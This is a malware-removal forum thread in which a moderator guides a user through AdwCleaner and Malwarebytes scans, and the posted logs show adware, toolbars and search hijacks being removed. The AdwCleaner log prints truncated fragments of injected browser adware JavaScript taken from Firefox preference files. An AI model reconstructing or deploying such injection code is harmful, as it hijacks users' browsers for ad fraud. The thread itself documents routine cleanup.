Key Deleted : HKLM\SOFTWARE\C5493074-9727-DC4A-8562-41E2D37B6BF9
Key Deleted : HKLM\SOFTWARE\Classes\AppID\{3278F5CF-48F3-4253-A6BB-004CE84AF492}
Key Deleted : HKLM\SOFTWARE\Classes\AppID\{577975B8-C40E-43E6-B0DE-4C6B44088B52}
Key Deleted : HKLM\SOFTWARE\Classes\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}
Key Deleted : HKLM\SOFTWARE\Classes\AppID\{6C259840-5BA8-46E6-8ED1-EF3BA47D8BA1}
Key Deleted : HKLM\SOFTWARE\Classes\AppID\{D813D5BB-EBC7-45F9-B8A4-36A305168069}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{02A96331-0CA6-40E2-A87D-C224601985EB}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{3278F5CF-48F3-4253-A6BB-004CE84AF492}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{3B5702BA-7F4C-4D1A-B026-1E9A01D43978}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{577975B8-C40E-43E6-B0DE-4C6B44088B52}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{7B089B94-D1DC-4C6B-87E1-8156E22C1D96}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{7E49F793-B3CD-4BF7-8419-B34B8BD30E61}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{E15A9BFD-D16D-496D-8222-44CADF316E70}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{BA0C978D-D909-49B6-AFE2-8BDE245DC7E6}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{9C4EFBD5-1ADF-41E6-BE26-AF44326E30E4}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{6EDBF8C0-C94C-4A13-956F-E393BCA5BA4B}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{FC41A6F5-6C19-493F-852D-AD183119D8DD}
Key Deleted : HKLM\SOFTWARE\Classes\Interface\{660E6F4F-840D-436D-B668-433D9591BAC5}
Key Deleted : HKLM\SOFTWARE\Classes\Interface\{E7435878-65B9-44D1-A443-81754E5DFC90}
Key Deleted : HKLM\SOFTWARE\Classes\TypeLib\{92380354-381A-471F-BE2E-DD9ACD9777EA}
Key Deleted : HKLM\SOFTWARE\Classes\TypeLib\{A9CAF365-EA35-45DA-BD8B-2EFA09D374AC}
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{FC41A6F5-6C19-493F-852D-AD183119D8DD}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{EF99BD32-C1FB-11D2-892F-0090271D4F88}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{BA0C978D-D909-49B6-AFE2-8BDE245DC7E6}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{10921475-03CE-4E04-90CE-E2E7EF20C814}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{FC41A6F5-6C19-493F-852D-AD183119D8DD}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{EF99BD32-C1FB-11D2-892F-0090271D4F88}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{BA0C978D-D909-49B6-AFE2-8BDE245DC7E6}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{FC41A6F5-6C19-493F-852D-AD183119D8DD}
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{02478D38-C3F9-4EFB-9B51-7695ECA05670}
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{7B089B94-D1DC-4C6B-87E1-8156E22C1D96}
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{EF99BD32-C1FB-11D2-892F-0090271D4F88}
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{FC41A6F5-6C19-493F-852D-AD183119D8DD}
Key Deleted : HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{5E89ACE9-E16B-499A-87B4-0DBF742404C1}
Key Deleted : [x64] HKLM\SOFTWARE\Classes\CLSID\{5A4E3A41-FA55-4BDA-AED7-CEBE6E7BCB52}
Key Deleted : [x64] HKLM\SOFTWARE\Classes\CLSID\{020B1D4B-5738-4C77-9E19-4F173DD9B486}
Key Deleted : [x64] HKLM\SOFTWARE\Classes\CLSID\{9C4EFBD5-1ADF-41E6-BE26-AF44326E30E4}
Key Deleted : [x64] HKLM\SOFTWARE\Classes\CLSID\{10921475-03CE-4E04-90CE-E2E7EF20C814}
Key Deleted : [x64] HKLM\SOFTWARE\Classes\Interface\{4E6354DE-9115-4AEE-BD21-C46C3E8A49DB}
Key Deleted : [x64] HKLM\SOFTWARE\Classes\Interface\{660E6F4F-840D-436D-B668-433D9591BAC5}
Key Deleted : [x64] HKLM\SOFTWARE\Classes\Interface\{C58D664A-3DBC-4925-AE74-0382007DF113}
Key Deleted : [x64] HKLM\SOFTWARE\Classes\Interface\{C776D7F4-BA85-4B75-AAFC-3A0A11FE6E36}
Key Deleted : [x64] HKLM\SOFTWARE\Classes\Interface\{E7435878-65B9-44D1-A443-81754E5DFC90}
Key Deleted : [x64] HKLM\SOFTWARE\Classes\Interface\{FC073BDA-C115-4A1D-9DF9-9B5C461482E5}
Key Deleted : HKCU\Software\eSupport.com
Key Deleted : HKCU\Software\GlobalUpdate
Key Deleted : HKCU\Software\InstalledBrowserExtensions
Key Deleted : HKCU\Software\powerpack
Key Deleted : HKCU\Software\Store
Key Deleted : HKCU\Software\WTools
Key Deleted : HKCU\Software\MaxComputerCleanerLanguage
Key Deleted : HKCU\Software\Online video player
Key Deleted : HKCU\Software\{3BDFD1D7-7A9B-4D29-80B3-D00E66E62885}
Key Deleted : HKCU\Software\AppDataLow\Software\{3BDFD1D7-7A9B-4D29-80B3-D00E66E62885}
Key Deleted : HKLM\SOFTWARE\{3A7D3E19-1B79-4E4E-BD96-5467DA2C4EF0}
Key Deleted : HKLM\SOFTWARE\GlobalUpdate
Key Deleted : HKLM\SOFTWARE\InstalledBrowserExtensions
Key Deleted : HKLM\SOFTWARE\NpApp
Key Deleted : HKLM\SOFTWARE\SupDp
Key Deleted : HKLM\SOFTWARE\{12A61307-94CD-4F8E-94BC-918E511FAA81}
Key Deleted : HKLM\SOFTWARE\Br MediaPlayer
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4820778D-AB0D-6D18-C316-52A6A0E1D507}
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SoftwareUpdUtility
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1a413f37-ed88-4fec-9666-5c48dc4b7bb7}
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AD11DADE-C597-45D9-D8C5-1D2EB0B89613}
Key Deleted : [x64] HKLM\SOFTWARE\InstalledBrowserExtensions
Key Deleted : [x64] HKLM\SOFTWARE\ShopperPro
Key Deleted : [x64] HKLM\SOFTWARE\YTDownloader
Key Deleted : [x64] HKLM\SOFTWARE\WebBar
Key Deleted : HKCU\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage\chatango.com
Key Deleted : HKCU\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage\inst.shoppingate.info
Key Deleted : HKCU\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage\shoppingate.info
Key Deleted : HKCU\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage\st.chatango.com
Key Deleted : HKCU\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage\veoh.com
Key Deleted : HKCU\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage\www.veoh.com
Data Deleted : HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings [ProxyOverride] - <-loopback>

***** [ Web browsers ] *****

-\\ Internet Explorer v11.0.9600.17840

-\\ Mozilla Firefox v39.0 (x86 en-US)

[ulfytbj2.default\prefs.js] - Line Deleted : user_pref("iminent.enableToolbar", "false");
[ulfytbj2.default\prefs.js] - Line Deleted : user_pref("iminent.BirthDate", "1437976683");
[ulfytbj2.default\prefs.js] - Line Deleted : user_pref("iminent.searchindex", "1");
[ulfytbj2.default\prefs.js] - Line Deleted : user_pref("iminent.newtabredirect", "true");
[ulfytbj2.default\prefs.js] - Line Deleted : user_pref("iminent.enableToolbar", "true");
[ulfytbj2.default\prefs.js] - Line Deleted : user_pref("iminent.nomsi", "true");
[ulfytbj2.default\prefs.js] - Line Deleted : user_pref("iminent.cifs", "0");
[ulfytbj2.default\prefs.js] - Line Deleted : user_pref("iminent.enableToolbar", "false");
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("browser.search.searchengine.alias", "mystartsearch");
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("browser.search.searchengine.name", "mystartsearch");
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("extensions.1dUmqcqecLHzA3lj.scode", "(function(){try{if(window.self.location.href.indexOf(\"rTaGrjaHrHY8qTCFqHw8rHw9ra\")>-1){return;}}catch(e){}try{var d=[[\"trianglecash.com\",\"acebook\"[...]
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("extensions.6T78te61m8FnLi5W.scode", "(function(){try{if(window.location.href.indexOf(\"rTaGrjaHrHY8qTCFqHw8rHw9ra\")>-1){return;}}catch(e){}try{var d=[[\"www.ewoss.com\",\"livewebcams.xyz\"[...]
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("extensions.9aCyMjKTCAiFCovi.scode", "(function(){try{if(window.self.location.href.indexOf(\"rTaGrjaHrHY8qTCFqHw8rHw9ra\")>-1){return;}}catch(e){}try{var d=[[\"trianglecash.com\",\"acebook\"[...]
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("extensions.F9gjUoo0iuc1ORCC.scode", "(function(){try{if(window.location.href.indexOf(\"rTaGrjaHrHY8qTCFqHw8rHw9ra\")>-1){return;}}catch(e){}try{var d=[[\"www.ewoss.com\",\"livewebcams.xyz\"[...]
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("extensions.FJVGVB46FTX4gfO3.scode", "(function(){try{if(window.self.location.href.indexOf(\"rTaGrjaHrHY8qTCFqHw8rHw9ra\")>-1){return;}}catch(e){}try{var d=[[\"trianglecash.com\",\"acebook\"[...]
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("extensions.PLTCvHzOC90LguVs.scode", "(function(){try{if(window.location.href.indexOf(\"rTaGrjaHrHY8qTCFqHw8rHw9ra\")>-1){return;}}catch(e){}try{var d=[[\"www.ewoss.com\",\"livewebcams.xyz\"[...]
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("extensions.a6a1a03975fde4c8690f6b883c36bc17d88519bfe704d8cae3851239com74253.74253.internaldb.monetization_plugin_bundledUrls.value", "%7B%22dealply_s%22%3A%7B%22urls%22%3A%5B%22ssfiles.com%[...]
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("extensions.quick_start.enable_search1", false);
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("extensions.quick_start.sd.closeWindowWithLastTab_prev_state", false);
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("extensions.xvWczwnsGctQqFDM.scode", "(function(){try{if(window.self.location.href.indexOf(\"rTaGrjaHrHY8qTCFqHw8rHw9ra\")>-1){return;}}catch(e){}try{var d=[[\"trianglecash.com\",\"acebook\"[...]
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("iminent.BirthDate", "1437976683");
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("iminent.cifs", "0");
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("iminent.enableToolbar", "false");
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("iminent.newtabredirect", "true");
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("iminent.nomsi", "true");
[ffcfcwci.default\prefs.js] - Line Deleted : user_pref("iminent.searchindex", "1");
[ui2sr9ag.default\prefs.js] - Line Deleted : user_pref("extensions.IDkACOcxNeYUoV7L.scode", "(function(){try{if(window.location.href.indexOf(\"rTaGrjaHrHY8qTCFqHw8rHw9ra\")>-1){return;}}catch(e){}try{var d=[[\"www.ewoss.com\",\"livewebcams.xyz\"[...]
[ui2sr9ag.default\prefs.js] - Line Deleted : user_pref("extensions.q2Jv2HroLalXfzPW.scode", "(function(){try{if(window.location.href.indexOf(\"rTaGrjaHrHY8qTCFqHw8rHw9ra\")>-1){return;}}catch(e){}try{var d=[[\"www.ewoss.com\",\"livewebcams.xyz\"[...]
[u7bj0txl.default\prefs.js] - Line Deleted : user_pref("iminent.enableToolbar", "false");
[u7bj0txl.default\prefs.js] - Line Deleted : user_pref("iminent.BirthDate", "1437976683");
[u7bj0txl.default\prefs.js] - Line Deleted : user_pref("iminent.searchindex", "1");
[u7bj0txl.default\prefs.js] - Line Deleted : user_pref("iminent.newtabredirect", "true");
[u7bj0txl.default\prefs.js] - Line Deleted : user_pref("iminent.enableToolbar", "true");
[u7bj0txl.default\prefs.js] - Line Deleted : user_pref("iminent.nomsi", "true");
[u7bj0txl.default\prefs.js] - Line Deleted : user_pref("iminent.cifs", "0");
[u7bj0txl.default\prefs.js] - Line Deleted : user_pref("iminent.enableToolbar", "false");

-\\ Google Chrome v44.0.2403.125

[C:\Users\alex\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://search.aol.com/aol/search?q={searchTerms}
[C:\Users\alex\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://www.ask.com/web?q={searchTerms}
[C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://search.softonic.com/INF00001/tb_v1?q={searchTerms}&SearchSource=49&cc=
[C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://mixidj.delta-search.com/?q={searchTerms}&babsrc=SP_ss&mntrId=389ABC5FF44E079E&affID=122354&tsp=4923
[C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://search.softonic.com/INF00001/tb_v1?q={searchTerms}&SearchSource=49&cc=
[C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://websearch.fastosearch.info/?l=1&q={searchTerms}&pid=2145&r=2014/06/09&hid=11172004055619635619&lg=EN&cc=US&unqvl=55
[C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://search.aol.com/aol/search?q={searchTerms}
[C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://binkiland.com/results.php?f=4&q={searchTerms}&a=bnk_ggbg_15_09&cd=2XzuyEtN2Y1L1Qzu0B0CyD0F0FyEyE0EtDyBzy0EtAzyyC0FtN0D0Tzu0StCtCyDtBtN1L2XzutAtFyBtFyBtFtCtAtN1L1CzutCyEtBzytDyD1V1StN1L1G1B1V1N2Y1L1Qzu2StByDzzyDyC0AtDzztGtAyDtCyCtG0C0B0E0EtG0A0DyB0FtGtC0D0DyDyBtAtD0EyCtC0EyD2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0F0B0F0B0Czz0DtAtG0AtBtC0AtGyEyEyDtDtG0BzyyEyEtG0EtC0A0AtCyC0D0FyC0ByC0D2Q&cr=1067265409&ir=
[C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://search.conduit.com/Results.aspx?q={searchTerms}&SearchSource=49&CUI=UN99132644979932019&ctid=CT3317127&UM=2
[C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://start.mysearchdial.com/results.php?f=4&q={searchTerms}&a=ir_14_13_ie&cd=2XzuyEtN2Y1L1QzutDtD0F0F0DtC0FtD0A0Czy0ByEtCzyyBtN0D0Tzu0SzztCyBtN1L2XzutBtFtCzztFtBtFtDtN1L1CzutCyEtDtAtDyD1V1PtN1L1G1B1V1N2Y1L1Qzu2SyCtCyEyD0FzztC0EtGyCyCzz0BtGtDyD0BtBtGtB0C0C0FtGtCyDyBzytC0F0F0Czz0FzzyB2QtN1M1F1B2Z1V1N2Y1L1Qzu2StB0C0Azz0Ezy0ByBtGtD0BtC0EtG0ByDtA0EtGyD0DzytDtGtAzy0E0EyEyCzzyD0CyEyCzz2Q&cr=1247329870&ir=
[C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://search.conduit.com/Results.aspx?ctid=CT3317190&octid=EB_ORIGINAL_CTID&SearchSource=58&CUI=&UM=2&UP=SP6C749153-7B26-4D07-87DF-3D4EF7D8802A&q={searchTerms}&SSPV=
[C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://searchfunmoods.com/results.php?f=4&q={searchTerms}&a=iron2&chnl=iron2&cd=2XzuyEtN2Y1L1QzutD0C0E0E0EyC0CtAzy0EtB0BtByDyDtDtN0D0Tzu0CtBzztDtN1L2XzutBtFtBtFtDtFtAyEyE&cr=1770671588
[C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://www.ask.com/web?q={searchTerms}
[C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://search.conduit.com/Results.aspx?ctid=CT3300021&SearchSource=45&UM=2&q={searchTerms}
[C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://www.trovi.com/Results.aspx?gd=&ctid=CT3332132&octid=EB_ORIGINAL_CTID&ISID=M4EEF9C94-EA90-4A6B-ACC9-30C0B049A35D&SearchSource=58&CUI=&UM=8&UP=SP71F64833-D538-4CD9-8447-542F491EF24C&q={searchTerms}&SSPV=
[C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://searchfunmoods.com/results.php?f=4&q={searchTerms}&a=iron2&chnl=iron2&cd=2XzuyEtN2Y1L1QzutD0C0E0E0EyC0CtAzy0EtB0BtByDyDtDtN0D0Tzu0CtBzztDtN1L2XzutBtFtBtFtDtFtAyEyE&cr=1770671588
[C:\Users\mewtw_000\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://search.aol.com/aol/search?q={searchTerms}
[C:\Users\mewtw_000\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://websearch.goodforsearch.info/?l=1&q={searchTerms}&pid=22673&r=2015/04/16&hid=2021033856717153140&lg=EN&cc=US&unqvl=86
[C:\Users\mewtw_000\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [Search Provider] : hxxp://www.trovi.com/Results.aspx?gd=&ctid=CT3334304&octid=EB_ORIGINAL_CTID&ISID=M72884C11-CDB4-4A00-BB14-19DC154A3E24&SearchSource=58&CUI=&UM=8&UP=SPCB13AFC5-0B35-43F0-91B8-3EF2A97F8F8E&D=072715&q={searchTerms}&SSPV=

*************************

AdwCleaner[R0].txt - [23672 bytes] - [30/07/2015 15:20:52]
AdwCleaner[S0].txt - [23876 bytes] - [30/07/2015 15:29:58]

########## EOF - C:\AdwCleaner\AdwCleaner[S0].txt - [23936  bytes] ##########

 

the other log is attached to this post

Attached Files


  • 0

#6
Essexboy

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts
Well that looks to have removed a load of rubbish, how is the computer behaving now ?

Please download Malwarebytes Anti-Malware to your desktop
  • Double-click mbam-setup-version.exe and follow the prompts to install the program.
  • At the end, be sure a check-mark is placed next to the following:
    • Ensure that "Enable free trial of Malwarebytes Anti-Malware Premium" is unchecked
    • Launch Malwarebytes Anti-Malware
  • Then click Finish.
  • If an update is found, you will be prompted to download and install the latest version.
  • Once the program has loaded, select Scan now. Or select the Threat Scan from the Scan menu.
  • When the scan is complete , make sure that everything is set to "Quarantine", and click Apply Actions.
  • Reboot your computer if prompted.
Extra Note:

If MBAM encounters a file that is difficult to remove,you will be presented with 1 of 2 prompts,click OK to either and let MBAM proceed with the disinfection process. If asked to restart the computer, please do so immediatly.

To access logs from Malwarebytes Anti-Malware 2.0:

mbamlogs.JPG

1.Open Malwarebytes Anti-Malware 2.0
2.Click History > Application Logs
3.Double-click the log you would like to open

Scan Logs record detections from manual scans, including threats detected and the actions taken against them

To save a Scan Log:

1.Open the log file you would like to save
2.Click Export
3.Choose to export to a .txt
4.Choose a folder to save the log file in, then click Save
5.Post that log here
  • 0

#7
Lucky Dearly

Lucky Dearly

    Member

  • Topic Starter
  • Member
  • PipPipPip
  • 299 posts

Okay I did the scan with malware bytes but when I was removing the objects it detected the program closed on it's own again. no log came up or anything


  • 0

#8
Essexboy

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts
Could you try one more run with MBAM please and let me know the result
  • 0

#9
Lucky Dearly

Lucky Dearly

    Member

  • Topic Starter
  • Member
  • PipPipPip
  • 299 posts

okay ran MBAM again, it removed two objects but closed itself before it can remove the rest


  • 0

#10
Essexboy

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts
OK could you run a fresh FRST scan for me please
  • 0

Advertisements


#11
Lucky Dearly

Lucky Dearly

    Member

  • Topic Starter
  • Member
  • PipPipPip
  • 299 posts

okay here's the log

Attached Files


Edited by Lucky Dearly, 02 August 2015 - 04:59 AM.

  • 0

#12
Essexboy

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts
Could you temporarily uninstall IObit Malware Fighter and try again with MBAM please. How is the system now ?
  • 0

#13
Lucky Dearly

Lucky Dearly

    Member

  • Topic Starter
  • Member
  • PipPipPip
  • 299 posts

it's handling great and apparently IObit Malware Fighter was causing a confliction with Malware Bytes, I was able to scan and remove the infected objects without a problem this time

 

here's the log for Malware Bytes

 

Malwarebytes Anti-Malware
www.malwarebytes.org

Scan Date: 8/3/2015
Scan Time: 12:43 AM
Logfile:
Administrator: Yes

Version: 2.1.8.1057
Malware Database: v2015.08.03.01
Rootkit Database: v2015.07.30.01
License: Free
Malware Protection: Disabled
Malicious Website Protection: Disabled
Self-protection: Disabled

OS: Windows 8.1
CPU: x64
File System: NTFS
User: mewtw_000

Scan Type: Threat Scan
Result: Completed
Objects Scanned: 581433
Time Elapsed: 38 min, 57 sec

Memory: Enabled
Startup: Enabled
Filesystem: Enabled
Archives: Enabled
Rootkits: Enabled
Deep Rootkit Scan: Enabled
Heuristics: Enabled
PUP: Enabled
PUM: Enabled

Processes: 0
(No malicious items detected)

Modules: 0
(No malicious items detected)

Registry Keys: 1
PUP.Optional.ProPCCleaner.A, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\Tree\ProPCCleaner_Popup, Quarantined, [fb7234d0dfac4ee83fd93ad56a993dc3],

Registry Values: 0
(No malicious items detected)

Registry Data: 0
(No malicious items detected)

Folders: 0
(No malicious items detected)

Files: 1
PUP.Optional.Vitruvian.A, C:\Windows\System32\drivers\WSFD_VW_1_10_0_20.SYS, Delete-on-Reboot, [c604b5cfc9deaaa32691fc2798b86936],

Physical Sectors: 0
(No malicious items detected)

(end)


  • 0

#14
Essexboy

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts
Excellent :) any further problems apparent ?
  • 0

#15
Lucky Dearly

Lucky Dearly

    Member

  • Topic Starter
  • Member
  • PipPipPip
  • 299 posts

nope, everything seems to be working fine


  • 0






Similar Topics

0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users

As Featured On:

Microsoft Yahoo BBC MSN PC Magazine Washington Post HP